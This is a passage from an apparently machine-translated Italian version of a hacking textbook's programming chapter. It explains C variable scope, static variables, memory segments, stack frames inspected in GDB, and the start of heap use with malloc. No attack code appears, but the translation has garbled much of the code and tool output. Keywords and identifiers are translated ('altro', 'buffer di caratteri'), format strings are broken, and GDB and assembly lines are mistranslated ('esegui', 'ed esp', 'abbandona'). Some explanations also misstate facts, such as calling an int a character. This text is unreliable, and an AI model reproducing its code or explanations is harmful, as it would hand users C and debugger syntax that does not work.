printf ("\ t [in func1] j @ 0x% 08x =% d \ n", & j, j);
func2 ();
printf ("\ t [torna in func1] i @ 0x% 08x =% d \ n", & i, i);
printf ("\ t [torna in func1] j @ 0x% 08x =% d \ n", & j, j);
}

64 0x200

Pagina 79

int main () {
int i = 3;
printf ("[in main] i @ 0x% 08x =% d \ n", & i, i);
printf ("[in main] j @ 0x% 08x =% d \ n", & j, j);
func1 ();
printf ("[torna in main] i @ 0x% 08x =% d \ n", & i, i);
printf ("[torna in principale] j @ 0x% 08x =% d \ n", & j, j);
}

I risultati della compilazione e dell'esecuzione di scope3.c sono i seguenti.

lettore @ hacking: ~ / booksrc $ gcc scope3.c


lettore @ hacking: ~ / booksrc $ ./a.out
[in main] i @ 0xbffff834 = 3
[in main] j @ 0x08049988 = 42
[in func1] i @ 0xbffff814 = 5
[in func1] j @ 0x08049988 = 42
[in func2] i @ 0xbffff7f4 = 7
[in func2] j @ 0x08049988 = 42
[in func2] impostazione j = 1337
[in func3] i @ 0xbffff7d4 = 11
[in func3] j @ 0xbffff7d0 = 999
[torna in func2] i @ 0xbffff7f4 = 7
[torna in func2] j @ 0x08049988 = 1337
[torna in func1] i @ 0xbffff814 = 5
[torna in func1] j @ 0x08049988 = 1337
[torna in main] i @ 0xbffff834 = 3
[torna in principale] j @ 0x08049988 = 1337
lettore @ hacking: ~ / booksrc $

In questo output, è ovvio che la variabile j usata da func3 () è diversa


rispetto alla j usata dalle altre funzioni. La j usata da func3 () si trova in
0xbffff7d0 , mentre la j usata dalle altre funzioni si trova in 0x08049988 .
Inoltre, nota che la variabile i è in realtà un indirizzo di memoria diverso per ciascuna
funzione.
Nell'output seguente, GDB viene utilizzato per interrompere l'esecuzione in un punto di interruzione in
func3 () . Quindi il comando backtrace mostra il record di ogni chiamata di funzione
sullo stack.

reader @ hacking: ~ / booksrc $ gcc -g scope3.c


lettore @ hacking: ~ / booksrc $ gdb -q ./a.out
Utilizzo della libreria host libthread_db "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) elenco 1
1 #include <stdio.h>
2
3 int j = 42; // j è una variabile globale.
4
5 void func3 () {
6 int i = 11, j = 999; // Qui, j è una variabile locale di func3 ().
7 printf ("\ t \ t \ t [in func3] i @ 0x% 08x =% d \ n", & i, i);
8 printf ("\ t \ t \ t [in func3] j @ 0x% 08x =% d \ n", & j, j);
9}

Programmazione 65

Pagina 80

10
(gdb) break 7
Breakpoint 1 in 0x8048388: file scope3.c, riga 7.
(gdb) esegui
Avvio del programma: /home/reader/booksrc/a.out
[in main] i @ 0xbffff804 = 3
[in main] j @ 0x08049988 = 42
[in func1] i @ 0xbffff7e4 = 5
[in func1] j @ 0x08049988 = 42
[in func2] i @ 0xbffff7c4 = 7
[in func2] j @ 0x08049988 = 42
[in func2] impostazione j = 1337

Breakpoint 1, func3 () in scope3.c: 7


7 printf ("\ t \ t \ t [in func3] i @ 0x% 08x =% d \ n", & i, i);
(gdb) bt
# 0 func3 () in scope3.c: 7
# 1 0x0804841d in func2 () in scope3.c: 17
# 2 0x0804849f in func1 () in scope3.c: 26
# 3 0x0804852b in main () in scope3.c: 35
(gdb)

Il backtrace mostra anche le chiamate di funzione nidificate esaminando i record


tenuto in pila. Ogni volta che viene chiamata una funzione, un record chiamato stack frame
viene messo in pila. Ogni riga nel backtrace corrisponde a uno stack frame.
Ogni stack frame contiene anche le variabili locali per quel contesto. Il locale
le variabili contenute in ogni stack frame possono essere visualizzate in GDB aggiungendo l'estensione
parola piena al comando backtrace.

(gdb) bt full
# 0 func3 () in scope3.c: 7
io = 11
j = 999
# 1 0x0804841d in func2 () in scope3.c: 17
io = 7
# 2 0x0804849f in func1 () in scope3.c: 26
io = 5
# 3 0x0804852b in main () in scope3.c: 35
io = 3
(gdb)

Il backtrace completo mostra chiaramente che la variabile locale j esiste solo in


. La versione globale della variabile j viene utilizzata nell'altro
Il contesto di func3 ()
contesti della funzione.
Oltre alle variabili globali, le variabili possono anche essere definite come variabili statiche da
anteponendo la parola chiave static alla definizione della variabile. Simile a globale
variabili, una variabile statica rimane intatta tra le chiamate di funzione; tuttavia, statico
le variabili sono anche simili alle variabili locali poiché rimangono locali all'interno di una
contesto della funzione specifica. Una caratteristica diversa e unica delle variabili statiche
è che vengono inizializzati solo una volta. Il codice in static.c aiuterà a spiegare
questi concetti.

66 0x200

Pagina 81

static.c

#include <stdio.h>

void function () {// Una funzione di esempio, con il proprio contesto


int var = 5;
static int static_var = 5; // Inizializzazione della variabile statica

printf ("\ t [in funzione] var =% d \ n", var);


printf ("\ t [in funzione] static_var =% d \ n", static_var);
var ++; // Aggiungi uno a var.
static_var ++; // Aggiungi uno a static_var.
}

int main () {// La funzione main, con il proprio contesto


int i;
static int static_var = 1337; // Un'altra statica, in un contesto diverso

for (i = 0; i <5; i ++) {// Ripeti 5 volte.


printf ("[in main] static_var =% d \ n", static_var);
funzione(); // Chiama la funzione.
}
}

Il nome appropriato static_var è definito come una variabile statica in due punti:
nel contesto di main () e nel contesto di function () . Dal momento che statico
le variabili sono locali all'interno di un particolare contesto funzionale, queste variabili possono
hanno lo stesso nome, ma in realtà rappresentano due località diverse in
memoria. La funzione stampa semplicemente i valori delle due variabili nella sua configurazione
text e quindi aggiunge 1 a entrambi. Compilare ed eseguire questo codice lo farà
mostra la differenza tra le variabili statiche e non statiche.
lettore @ hacking: ~ / booksrc $ gcc static.c
lettore @ hacking: ~ / booksrc $ ./a.out
[in main] static_var = 1337
[in funzione] var = 5
[in funzione] static_var = 5
[in main] static_var = 1337
[in funzione] var = 5
[in funzione] static_var = 6
[in main] static_var = 1337
[in funzione] var = 5
[in funzione] static_var = 7
[in main] static_var = 1337
[in funzione] var = 5
[in funzione] static_var = 8
[in main] static_var = 1337
[in funzione] var = 5
[in funzione] static_var = 9
lettore @ hacking: ~ / booksrc $

Programmazione 67

Pagina 82

Si noti che static_var mantiene il proprio valore tra le successive chiamate a


funzione (). Questo perché le variabili statiche mantengono i propri valori, ma anche perché
vengono inizializzati solo una volta. Inoltre, poiché le variabili statiche sono locali
a un particolare contesto funzionale, static_var nel contesto di main ()
mantiene il suo valore di 1337 per tutto il tempo.
Ancora una volta, stampando gli indirizzi di queste variabili dereferenziando
loro con l'operatore di indirizzo unario forniranno una maggiore redditività in ciò che è
sta davvero succedendo. Dai un'occhiata a static2.c per un esempio.

static2.c

#include <stdio.h>

void function () {// Una funzione di esempio, con il proprio contesto


int var = 5;
static int static_var = 5; // Inizializzazione della variabile statica

printf ("\ t [in funzione] var @% p =% d \ n", & var, var);


printf ("\ t [in funzione] static_var @% p =% d \ n", & static_var, static_var);
var ++; // Aggiungi 1 a var.
static_var ++; // Aggiungi 1 a static_var.
}

int main () {// La funzione main, con il proprio contesto


int i;
static int static_var = 1337; // Un'altra statica, in un contesto diverso

for (i = 0; i <5; i ++) {// loop 5 volte


printf ("[in main] static_var @% p =% d \ n", & static_var, static_var);
funzione(); // Chiama la funzione.
}
}

I risultati della compilazione e dell'esecuzione di static2.c sono i seguenti.

lettore @ hacking: ~ / booksrc $ gcc static2.c


lettore @ hacking: ~ / booksrc $ ./a.out
[in main] static_var @ 0x804968c = 1337
[in funzione] var @ 0xbffff814 = 5
[in funzione] static_var @ 0x8049688 = 5
[in main] static_var @ 0x804968c = 1337
[in funzione] var @ 0xbffff814 = 5
[in funzione] static_var @ 0x8049688 = 6
[in main] static_var @ 0x804968c = 1337
[in funzione] var @ 0xbffff814 = 5
[in funzione] static_var @ 0x8049688 = 7
[in main] static_var @ 0x804968c = 1337
[in funzione] var @ 0xbffff814 = 5
[in funzione] static_var @ 0x8049688 = 8
[in main] static_var @ 0x804968c = 1337
[in funzione] var @ 0xbffff814 = 5
[in funzione] static_var @ 0x8049688 = 9
lettore @ hacking: ~ / booksrc $

68 0x200

Pagina 83

Con gli indirizzi delle variabili visualizzati, è evidente che il file


static_varin main () è diverso da quello trovato in function () , poiché lo sono
si trova in diversi indirizzi di memoria ( 0x804968c e 0x8049688 , rispettivamente).
Avrai notato che gli indirizzi delle variabili locali hanno tutti molto
indirizzi alti, come 0xbffff814 , mentre le variabili globali e statiche hanno tutte
indirizzi di memoria molto bassi, come 0x0804968c e 0x8049688 . È molto astuto
di voi - notare dettagli come questo e chiedere perché è uno dei capisaldi di
hacking. Continua a leggere per le tue risposte.

0x270 Segmentazione della memoria


La memoria di un programma compilato è divisa in cinque segmenti: testo, dati, bss,
heap e stack. Ogni segmento rappresenta una porzione speciale di memoria che è
mettere da parte per un determinato scopo.
Il segmento di testo è talvolta chiamato anche segmento di codice . Qui è dove
si trovano le istruzioni assemblate in linguaggio macchina del programma.
L'esecuzione delle istruzioni in questo segmento non è lineare, grazie al
suddette strutture e funzioni di controllo di alto livello, che vengono compilate
nelle istruzioni branch, jump e call in linguaggio assembly. Come un programma
viene eseguito, l'EIP viene impostato sulla prima istruzione nel segmento di testo. Il
processore quindi segue un ciclo di esecuzione che fa quanto segue:

1. Legge l'istruzione a cui punta l'EIP


2. Aggiunge la lunghezza in byte dell'istruzione a EIP
3. Esegue l'istruzione letta nel passaggio 1
4. Torna al passaggio 1

A volte l'istruzione sarà un salto o un'istruzione di chiamata, che


cambia l'EIP in un diverso indirizzo di memoria. Il processore no
preoccuparsi del cambiamento, perché si aspetta che l'esecuzione non sia lineare
Comunque. Se l'EIP viene modificato nel passaggio 3, il processore tornerà semplicemente al passaggio 1
e leggere le istruzioni trovate all'indirizzo di qualunque EIP è stato cambiato.
Il permesso di scrittura è disabilitato nel segmento di testo, poiché non viene utilizzato per memorizzare
variabili, solo codice. Ciò impedisce alle persone di modificare effettivamente il
codice di grammo; qualsiasi tentativo di scrivere in questo segmento di memoria causerà il
programma per avvisare l'utente che è successo qualcosa di brutto e il programma
sarà ucciso. Un altro vantaggio di questo segmento di sola lettura è che
può essere condiviso tra diverse copie del programma, consentendo più file
esecuzioni del programma contemporaneamente senza problemi. Dovrebbe
Inoltre da notare che questo segmento di memoria ha una dimensione fissa, dal momento che niente mai
cambiamenti in esso.
I segmenti dati e bss vengono utilizzati per memorizzare il programma globale e statico
variabili. Il segmento di dati viene riempito con le variabili globali e statiche inizializzate,
mentre il segmento bss è riempito con le loro controparti non inizializzate. Sebbene
questi segmenti sono scrivibili, hanno anche una dimensione fissa. Ricorda quello globale
le variabili persistono, nonostante il contesto funzionale (come la variabile j in
esempi precedenti). Sia le variabili globali che quelle statiche possono persistere
perché sono immagazzinati nei loro segmenti di memoria.

Programmazione 69

Pagina 84

Il segmento di heap è un segmento di memoria che un programmatore può direttamente


controllo. È possibile allocare e utilizzare blocchi di memoria in questo segmento
qualunque cosa il programmatore potrebbe aver bisogno. Un punto notevole sull'heap
segmento è che non ha dimensioni fisse, quindi può ingrandirsi o ridursi a seconda delle necessità.
Tutta la memoria all'interno dell'heap è gestita dall'allocatore e dal deallocatore
algoritmi, che riservano rispettivamente una regione di memoria nell'heap
utilizzare e rimuovere le prenotazioni per consentire il riutilizzo di quella porzione di memoria
per prenotazioni successive. Il mucchio crescerà e si ridurrà a seconda di come
molta memoria è riservata per l'uso. Ciò significa che un programmatore utilizza l'heap
le funzioni di allocazione possono riservare e liberare memoria al volo. La crescita di
l'heap si sposta verso il basso verso indirizzi di memoria superiori.
Anche il segmento dello stack ha dimensioni variabili e viene utilizzato come graffio temporaneo
pad per memorizzare le variabili di funzione locale e il contesto durante le chiamate di funzione. Questo è
cosa guarda il comando backtrace di GDB. Quando un programma chiama una funzione,
quella funzione avrà il proprio insieme di variabili passate e il codice della funzione
sarà in una posizione di memoria diversa nel segmento di testo (o codice). Da
il contesto e l'EIP devono cambiare quando viene chiamata una funzione, lo stack è
utilizzato per ricordare tutte le variabili passate, la posizione che l'EIP dovrebbe
tornare a dopo che la funzione è terminata e tutte le variabili locali utilizzate da
quella funzione. Tutte queste informazioni vengono memorizzate insieme nello stack in what is
collettivamente chiamato stack frame . Lo stack contiene molti stack frame.
In termini generali di informatica, uno stack è una struttura di dati astratta
che viene utilizzato frequentemente. Ha l' ordinamento FILO (first-in, last-out) , il che significa che il file
il primo elemento che viene messo in una pila è l'ultimo elemento che ne esce. Pensaci
come mettere perline su un pezzo di corda che ha un nodo a un'estremità - non puoi
togli la prima perlina finché non avrai rimosso tutte le altre perline. Quando un
l'elemento viene posizionato in una pila, è noto come push e quando un elemento viene rimosso
da una pila, si chiama popping .
Come suggerisce il nome, il segmento dello stack di memoria è, in effetti, uno stack di dati
struttura, che contiene i frame dello stack. Il registro ESP viene utilizzato per tenere traccia
dell'indirizzo della fine dello stack, che cambia costantemente come elementi
vengono spinti dentro e fuoriusciti. Poiché questo è un comportamento molto dinamico, esso
ha senso che anche la pila non abbia una dimensione fissa. Opposto alla dinamica
crescita dell'heap, man mano che la dimensione dello stack cambia, cresce verso l'alto in una visuale
elenco di memoria, verso indirizzi di memoria inferiori.
La natura FILO di uno stack potrebbe sembrare strana, ma poiché lo stack viene utilizzato
per memorizzare il contesto, è molto utile. Quando viene chiamata una funzione, molte cose lo sono
spinti insieme nello stack in un frame dello stack . Il registro EBP, a volte
chiamato puntatore al fotogramma (FP) o puntatore alla base locale (LB) , viene utilizzato per fare riferimento a locale
variabili di funzione nello stack frame corrente. Ogni stack frame contiene il file
parametri alla funzione, le sue variabili locali e due puntatori necessari
essenziale per rimettere le cose come erano: il frame pointer salvato (SFP) e
l'indirizzo di ritorno. L' SFP viene utilizzato per ripristinare EBP al valore precedente e il file
l'indirizzo di ritorno viene utilizzato per ripristinare l'EIP all'istruzione successiva trovata dopo il
chiamata di funzione. Ciò ripristina il contesto funzionale dello stack precedente
telaio.

70 0x200

Pagina 85
Il seguente codice stack_example.c ha due funzioni: main () e
funzione_test () .

stack_example.c

void funzione_test (int a, int b, int c, int d) {


int flag;
buffer di caratteri [10];

flag = 31337;
buffer [0] = "A";
}

int main () {
funzione_test (1, 2, 3, 4);
}

Questo programma dichiara prima una funzione di test che ha quattro argomenti, che
sono tutti dichiarati come numeri interi: a , b , c e d . Le variabili locali per la funzione
includere un singolo carattere chiamato flag e un buffer di 10 caratteri chiamato buffer .
La memoria per queste variabili è nel segmento dello stack, mentre la macchina
le istruzioni per il codice della funzione sono memorizzate nel segmento di testo. Dopo
compilando il programma, il suo funzionamento interno può essere esaminato con GDB. Il
L'output seguente mostra le istruzioni della macchina disassemblata per main () e
. La funzione main () inizia da 0x08048357 e test_function ()
funzione_test ()
inizia da 0x08048344 . Le prime poche istruzioni di ciascuna funzione (mostrate in
grassetto sotto) imposta lo stack frame. Queste istruzioni vengono chiamate collettivamente
il prologo della procedura o il prologo della funzione . Salvano il puntatore del fotogramma sul file
stack e salvano la memoria dello stack per le variabili della funzione locale. Qualche volta
il prologo della funzione gestirà anche un po 'di allineamento dello stack. L'esatto
le istruzioni del prologo variano notevolmente a seconda del compilatore e del file
opzioni del compilatore, ma in generale queste istruzioni costruiscono lo stack frame.

reader @ hacking: ~ / booksrc $ gcc -g stack_example.c


lettore @ hacking: ~ / booksrc $ gdb -q ./a.out
Utilizzo della libreria host libthread_db "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) disass main
Dump del codice assembler per la funzione main ():
0x08048357 <main + 0>: push ebp
0x08048358 <principale + 1>: mov ebp, esp
0x0804835a <principale + 3>: sub esp, 0x18
0x0804835d <main + 6>: ed esp, 0xfffffff0
0x08048360 <main + 9>: mov eax, 0x0
0x08048365 <main + 14>: sub esp, eax
0x08048367 <main + 16>: mov DWORD PTR [esp + 12], 0x4
0x0804836f <main + 24>: mov DWORD PTR [esp + 8], 0x3
0x08048377 <main + 32>: mov DWORD PTR [esp + 4], 0x2
0x0804837f <main + 40>: mov DWORD PTR [esp], 0x1
0x08048386 <main + 47>: chiama 0x8048344 <test_function>
0x0804838b <main + 52>: abbandona
0x0804838c <principale + 53>: ret

Programmazione 71

Pagina 86

Fine del dump dell'assemblatore


(gdb) disass test_function ()
Dump del codice assembler per la funzione test_function:
0x08048344 <test_function + 0>: push ebp
0x08048345 <test_function + 1>: mov ebp, esp
0x08048347 <test_function + 3>: sub esp, 0x28
0x0804834a <test_function + 6>: mov DWORD PTR [ebp-12], 0x7a69
0x08048351 <funzione_test + 13>: mov BYTE PTR [ebp-40], 0x41
0x08048355 <test_function + 17>: abbandona
0x08048356 <funzione_test + 18>: ret
Fine del dump dell'assemblatore
(gdb)

Quando il programma viene eseguito, viene chiamata la funzione main () , che semplicemente chiama
funzione_test ().
Quando test_function () viene chiamato dalla funzione main () , i vari file
i valori vengono inseriti nello stack per creare l'inizio dello stack frame come segue.
Quando viene chiamato test_function () , gli argomenti della funzione vengono inseriti nel file
impilare in ordine inverso (poiché è FILO). Gli argomenti per la funzione sono
1, 2, 3 e 4, quindi le successive istruzioni push premono 4, 3, 2 e infine 1
nello stack. Questi valori corrispondono alle variabili d , c , b , e una nella
funzione. Le istruzioni che mettono questi valori in pila sono mostrate in
grassetto nel disassemblaggio della funzione main () di seguito.

(gdb) disass main


Dump del codice assembler per la funzione main:
0x08048357 <main + 0>: push ebp
0x08048358 <principale + 1>: mov ebp, esp
0x0804835a <principale + 3>: sub esp, 0x18
0x0804835d <main + 6>: ed esp, 0xfffffff0
0x08048360 <main + 9>: mov eax, 0x0
0x08048365 <main + 14>: sub esp, eax
0x08048367 <main + 16>: mov DWORD PTR [esp + 12], 0x4
0x0804836f <main + 24>: mov DWORD PTR [esp + 8], 0x3
0x08048377 <main + 32>: mov DWORD PTR [esp + 4], 0x2
0x0804837f <main + 40>: mov DWORD PTR [esp], 0x1
0x08048386 <main + 47>: chiama 0x8048344 <test_function>
0x0804838b <main + 52>: abbandona
0x0804838c <principale + 53>: ret
Fine del dump dell'assemblatore
(gdb)

Successivamente, quando viene eseguita l'istruzione di chiamata all'assembly, il comando return


address viene inserito nello stack e il flusso di esecuzione salta all'inizio di
test_function () a 0x08048344 . Il valore dell'indirizzo di ritorno sarà la posizione
dell'istruzione che segue l'EIP corrente, in particolare il valore memorizzato
durante il passaggio 3 del ciclo di esecuzione menzionato in precedenza. In questo caso, il
l'indirizzo di ritorno punterà all'istruzione leave in main () a 0x0804838b .
L'istruzione call memorizza l'indirizzo di ritorno nello stack e salta
EIP all'inizio del test_function () , in modo test_function () 's procedura di pro-
le istruzioni di logue completano la creazione dello stack frame. In questa fase, la corrente
il valore di EBP viene inserito nello stack. Questo valore è chiamato frame salvato
72 0x200

Pagina 87

pointer (SFP) e viene successivamente utilizzato per ripristinare EBP al suo stato originale.
Il valore corrente di ESP viene quindi copiato in EBP per impostare il nuovo puntatore di frame.
Questo puntatore al frame viene utilizzato per fare riferimento alle variabili locali della funzione
( bandiera e buffer ). La memoria viene salvata per queste variabili sottraendo da
ESP. Alla fine, lo stack frame ha un aspetto simile a questo:

In cima alla pila


Indirizzi bassi
buffer

bandiera

Puntatore al fotogramma salvato (SFP)


Puntatore fotogramma (EBP)
Indirizzo di ritorno (ret)

un'

Indirizzi alti

Possiamo osservare la costruzione dello stack frame sullo stack utilizzando GDB. Nel
dopo l'output, un breakpoint viene impostato in main () prima della chiamata a test_function ()
e anche all'inizio di test_function () . GDB metterà la prima pausa-
punto prima che gli argomenti della funzione vengano inseriti nello stack e il secondo
breakpoint dopo il prologo della procedura di test_function () . Quando il programma è
run, l'esecuzione si ferma al breakpoint, dove l'ESP (stack pointer) del registro,
Vengono esaminati EBP (frame pointer) ed EIP (execution pointer).

(gdb) list main


4
5 flag = 31337;
6 buffer [0] = "A";
7}
8
9 int main () {
10 funzione_test (1, 2, 3, 4);
11}
(gdb) pausa 10
Breakpoint 1 in 0x8048367: file stack_example.c, riga 10.
(gdb) break test_function
Breakpoint 2 in 0x804834a: file stack_example.c, riga 5.
(gdb) esegui
Avvio del programma: /home/reader/booksrc/a.out

Breakpoint 1, main () in stack_example.c: 10


10 funzione_test (1, 2, 3, 4);
(gdb) ir esp ebp eip
esp 0xbffff7f0 0xbffff7f0
ebp 0xbffff808 0xbffff808
eip 0x8048367 0x8048367 <principale + 16>
(gdb) x / 5i $ eip
0x8048367 <main + 16>: mov DWORD PTR [esp + 12], 0x4

Programmazione 73

Pagina 88

0x804836f <main + 24>: mov DWORD PTR [esp + 8], 0x3


0x8048377 <main + 32>: mov DWORD PTR [esp + 4], 0x2
0x804837f <main + 40>: mov DWORD PTR [esp], 0x1
0x8048386 <main + 47>: chiama 0x8048344 <test_function>
(gdb)

Questo punto di interruzione si trova subito prima dello stack frame per la chiamata test_function ()
è creato. Ciò significa che il fondo di questo nuovo stack frame è quello corrente
valore di ESP, 0xbffff7f0 . Il punto di interruzione successivo è subito dopo la procedura
prologo per test_function () , quindi continuando si creerà lo stack frame. Il
l'output di seguito mostra informazioni simili al secondo punto di interruzione. Il locale
le variabili ( flag e buffer ) sono referenziate rispetto al frame pointer (EBP).

(gdb) cont
Continuando.

Breakpoint 2, test_function (a = 1, b = 2, c = 3, d = 4) in stack_example.c: 5


5 flag = 31337;
(gdb) ir esp ebp eip
esp 0xbffff7c0 0xbffff7c0
ebp 0xbffff7e8 0xbffff7e8
eip 0x804834a 0x804834a <funzione_test + 6>
(gdb) disass test_function
Dump del codice assembler per la funzione test_function:
0x08048344 <test_function + 0>: push ebp
0x08048345 <test_function + 1>: mov ebp, esp
0x08048347 <test_function + 3>: sub esp, 0x28
0x0804834a <test_function + 6>: mov DWORD PTR [ebp-12], 0x7a69
0x08048351 <funzione_test + 13>: mov BYTE PTR [ebp-40], 0x41
0x08048355 <test_function + 17>: abbandona
0x08048356 <funzione_test + 18>: ret
Fine del dump dell'assemblatore.
(gdb) print $ ebp-12
$ 1 = (void *) 0xbffff7dc
(gdb) print $ ebp-40
$ 2 = (void *) 0xbffff7c0
(gdb) x / 16xw $ esp
0xbffff7c0: 0x00000000 0x08049548 0xbffff7d8 0x08048249
0xbffff7d0: 0xb7f9f729 0xb7fd6ff4 0xbffff808 0x080483b9
0xbffff7e0: 0xb7fd6ff4 0xbffff89c 0xbffff808 0x0804838b
0xbffff7f0: 0x00000001 0x00000002 0x00000003 0x00000004
(gdb)

Lo stack frame viene visualizzato sullo stack alla fine. I quattro argomenti a
la funzione può essere vista in fondo allo stack frame (), con il ritorno
indirizzo trovato direttamente in alto (). Sopra quello è il puntatore al fotogramma salvato di
0xbffff808 (), che è ciò che era EBP nello stack frame precedente. Il resto di
la memoria viene salvata per le variabili dello stack locale: flag e buffer . Calcola
i loro indirizzi relativi a EBP mostrano le loro posizioni esatte nello stack
telaio. La memoria per la variabile flag è mostrata in e la memoria per la
La variabile buffer è mostrata in. Lo spazio extra nello stack frame è giusto
imbottitura.

74 0x200

Pagina 89

Al termine dell'esecuzione, l'intero stack frame viene estratto dal file


stack e l'EIP è impostato sull'indirizzo di ritorno in modo che il programma possa continuare
esecuzione. Se un'altra funzione è stata chiamata all'interno della funzione, un altro stack
frame verrebbe inserito nella pila e così via. Quando ogni funzione finisce, il suo
stack frame viene estratto dallo stack in modo che l'esecuzione possa essere restituita al file
funzione precedente. Questo comportamento è il motivo per cui questo segmento di memoria è
organizzato in una struttura dati FILO.
I vari segmenti di memoria sono disposti nell'ordine in cui sono
sono stati presentati, dagli indirizzi di memoria inferiori a quelli di memoria superiore
indirizzi. Poiché la maggior parte delle persone ha familiarità con la visualizzazione di elenchi numerati
conto alla rovescia, gli indirizzi di memoria più piccoli vengono visualizzati in alto.
Alcuni testi lo hanno invertito, il che può creare confusione; quindi per questo
libro, indirizzi di memoria più piccoli
Indirizzi bassi
sono sempre mostrati in alto. Maggior parte Segmento di testo (codice)

i debugger visualizzano anche la memoria in formato Segmento di dati

questo stile, con la memoria più piccola


segmento bss
indirizzi in alto e in alto
quelli in basso. Segmento di heap

Dato che l'heap e lo stack Il mucchio cresce


verso il basso
sono entrambi dinamici, crescono entrambi memoria più alta
in direzioni diverse verso ciascuna indirizzi.

altro. Questo riduce al minimo lo spazio sprecato, La pila cresce

consentendo allo stack di essere più grande se il verso l'alto verso il basso
indirizzi di memoria.
heap è piccolo e viceversa.
Segmento dello stack
Indirizzi alti

0x271 Segmenti di memoria in C


In C, come in altri linguaggi compilati, il codice compilato entra nel testo
segmento, mentre le variabili risiedono nei segmenti rimanenti. Esattamente quale
segmento di memoria in cui verrà memorizzata una variabile dipende da come è la variabile
definito. Vengono prese in considerazione le variabili definite al di fuori di qualsiasi funzione
essere globale. La parola chiave statica può anche essere anteposta a qualsiasi variabile
dichiarazione per rendere statica la variabile. Se le variabili statiche o globali sono iniziali
izzati con i dati, vengono memorizzati nel segmento di memoria dei dati; altrimenti, questi
le variabili vengono inserite nel segmento di memoria bss. Memoria nella memoria dell'heap
il segmento deve prima essere allocato utilizzando una funzione di allocazione della memoria chiamata
malloc (). Di solito, i puntatori vengono utilizzati per fare riferimento alla memoria nell'heap.
Infine, le restanti variabili di funzione vengono archiviate nella memoria dello stack
segmento. Poiché lo stack può contenere molti frame di stack diversi, stack
le variabili possono mantenere l'unicità all'interno di diversi contesti funzionali.
Il programma memory_segments.c aiuterà a spiegare questi concetti in C.

memory_segments.c

#include <stdio.h>

int global_var;

Programmazione 75

Pagina 90

int global_initialized_var = 5;

void function () {// Questa è solo una funzione demo.


int stack_var; // Notare che questa variabile ha lo stesso nome di quella in main ().

printf ("stack_var della funzione è all'indirizzo 0x% 08x \ n", & stack_var);
}

int main () {
int stack_var; // Stesso nome della variabile in function ()
static int static_initialized_var = 5;
static int static_var;
int * heap_var_ptr;

heap_var_ptr = (int *) malloc (4);

// Queste variabili si trovano nel segmento di dati.


printf ("global_initialized_var è all'indirizzo 0x% 08x \ n", & global_initialized_var);
printf ("static_initialized_var è all'indirizzo 0x% 08x \ n \ n", & static_initialized_var);

// Queste variabili si trovano nel segmento bss.


printf ("static_var è all'indirizzo 0x% 08x \ n", & static_var);
printf ("global_var è all'indirizzo 0x% 08x \ n \ n", & global_var);

// Questa variabile si trova nel segmento di heap.


printf ("heap_var è all'indirizzo 0x% 08x \ n \ n", heap_var_ptr);

// Queste variabili si trovano nel segmento dello stack.


printf ("stack_var è all'indirizzo 0x% 08x \ n", & stack_var);
funzione();
}

La maggior parte di questo codice è abbastanza autoesplicativo a causa del descrittivo


nomi di variabili. Le variabili globali e statiche vengono dichiarate come descritto
in precedenza e vengono dichiarate anche le controparti inizializzate. La variabile stack è
dichiarato sia in main () che in function () per mostrare l'effetto di funzionale
contesti. La variabile heap viene effettivamente dichiarata come un puntatore intero, che
punterà alla memoria allocata sul segmento di memoria dell'heap. Il malloc ()
viene chiamata la funzione per allocare quattro byte sull'heap. Dal momento che il nuovo assegnato
la memoria può essere di qualsiasi tipo di dati, la funzione malloc () restituisce un vuoto
pointer, che deve essere trasformato in un puntatore intero.

reader @ hacking: ~ / booksrc $ gcc memory_segments.c


lettore @ hacking: ~ / booksrc $ ./a.out
global_initialized_var è all'indirizzo 0x080497ec
static_initialized_var è all'indirizzo 0x080497f0

static_var è all'indirizzo 0x080497f8


global_var è all'indirizzo 0x080497fc

heap_var è all'indirizzo 0x0804a008

76 0x200

Pagina 91

stack_var è all'indirizzo 0xbffff834


stack_var della funzione è all'indirizzo 0xbffff814
lettore @ hacking: ~ / booksrc $

Le prime due variabili inizializzate hanno gli indirizzi di memoria più bassi,
poiché si trovano nel segmento di memoria dati. Le prossime due variabili,
static_vare global_var , sono archiviati nel segmento di memoria bss, dal momento che
non vengono inizializzati. Questi indirizzi di memoria sono leggermente più grandi dei precedenti
indirizzi delle variabili, poiché il segmento bss si trova sotto il segmento dati.
Poiché entrambi questi segmenti di memoria hanno una dimensione fissa dopo la compilazione,
c'è poco spazio sprecato e gli indirizzi non sono molto distanti.
La variabile di heap viene memorizzata nello spazio allocato sul segmento di heap,
che si trova appena sotto il segmento bss. Ricorda quel ricordo in questo
il segmento non è fisso e più spazio può essere allocato dinamicamente in un secondo momento. Finalmente,
gli ultimi due stack_var hanno indirizzi di memoria molto grandi, poiché si trovano
nel segmento dello stack. Anche la memoria nello stack non è fissa; tuttavia, questo
la memoria inizia dal basso e cresce all'indietro verso il segmento di heap.
Ciò consente a entrambi i segmenti di memoria di essere dinamici senza sprecare spazio
memoria. Il primo stack_var nel contesto della funzione main () è memorizzato nel file
segmento dello stack all'interno di uno stack frame. Il secondo stack_var in function () ha il suo
proprio contesto univoco, in modo che la variabile sia memorizzata in un diverso stack frame
nel segmento dello stack. Quando function () viene chiamata verso la fine del programma,
viene creato un nuovo stack frame per memorizzare (tra le altre cose) stack_var per
contesto di function () . Poiché lo stack cresce di nuovo verso il segmento di heap
con ogni nuovo stack frame, l'indirizzo di memoria per il secondo stack_var
( 0xbffff814 ) è più piccolo dell'indirizzo per il primo stack_var ( 0xbffff834 )
trovato nel contesto di main () .

0x272 utilizzando l'heap


Usare gli altri segmenti di memoria è semplicemente una questione di come dichiari
variabili. Tuttavia, l'utilizzo dell'heap richiede un po 'più di impegno. Come in precedenza
dimostrato, l'allocazione della memoria sull'heap viene eseguita utilizzando malloc ()
funzione. Questa funzione accetta una dimensione come unico argomento e lo riserva
molto spazio nel segmento di heap, restituendo l'indirizzo all'inizio di questo
la memoria come un puntatore vuoto. Se la funzione malloc () non può allocare memoria
per qualche ragione, restituirà semplicemente un puntatore NULL con un valore di 0.
La corrispondente funzione di deallocazione è free () . Questa funzione accetta un file
puntatore come unico argomento e libera lo spazio di memoria sull'heap in modo da farlo
può essere riutilizzato in seguito. Queste funzioni relativamente semplici vengono dimostrate
in heap_example.c.

heap_example.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

Programmazione 77

Pagina 92
int main (int argc, char * argv []) {
char * char_ptr; // Un puntatore di caratteri
int * int_ptr; // Un puntatore intero
int mem_size;

if (argc <2) // Se non ci sono argomenti della riga di comando,


mem_size = 50; // usa 50 come valore predefinito.
altro
